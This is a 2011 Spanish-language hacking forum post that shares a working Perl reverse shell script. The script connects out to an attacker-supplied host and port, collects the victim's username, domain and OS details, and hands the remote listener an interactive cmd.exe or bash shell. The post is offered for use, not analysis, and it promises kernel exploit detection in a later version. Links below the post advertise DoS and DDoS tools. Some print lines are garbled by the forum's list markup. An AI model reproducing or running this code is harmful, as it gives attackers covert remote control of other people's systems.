[Perl] Reverse Shell By Doddy

  • 0 Respuestas
  • 1391 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Reverse Shell By Doddy

  • en: Julio 03, 2011, 09:49:16 pm
Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código: Perl
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "<ul class="bbc_list"><li type="square"> Starting the connection\n";[/li][/list]
  14. print "</li><li type="square"> Enter in the system\n";[/li][/list]
  15. print "</li><li type="square"> Enjoy !!!\n\n";[/li][/list]
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list]
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
  42. print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
  43. print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list]
  44. }
  45.  
  46. sub infolinux {
  47. print "</li><li type="square"> System information\n\n";[/li][/list]
  48. system("uname -a");
  49. }
  50.  
  51. #The End
  52.  
« Última modificación: Julio 17, 2011, 03:45:26 am por Sthefano02 »

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5330
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3473
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 2560
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 2598
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 2444
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear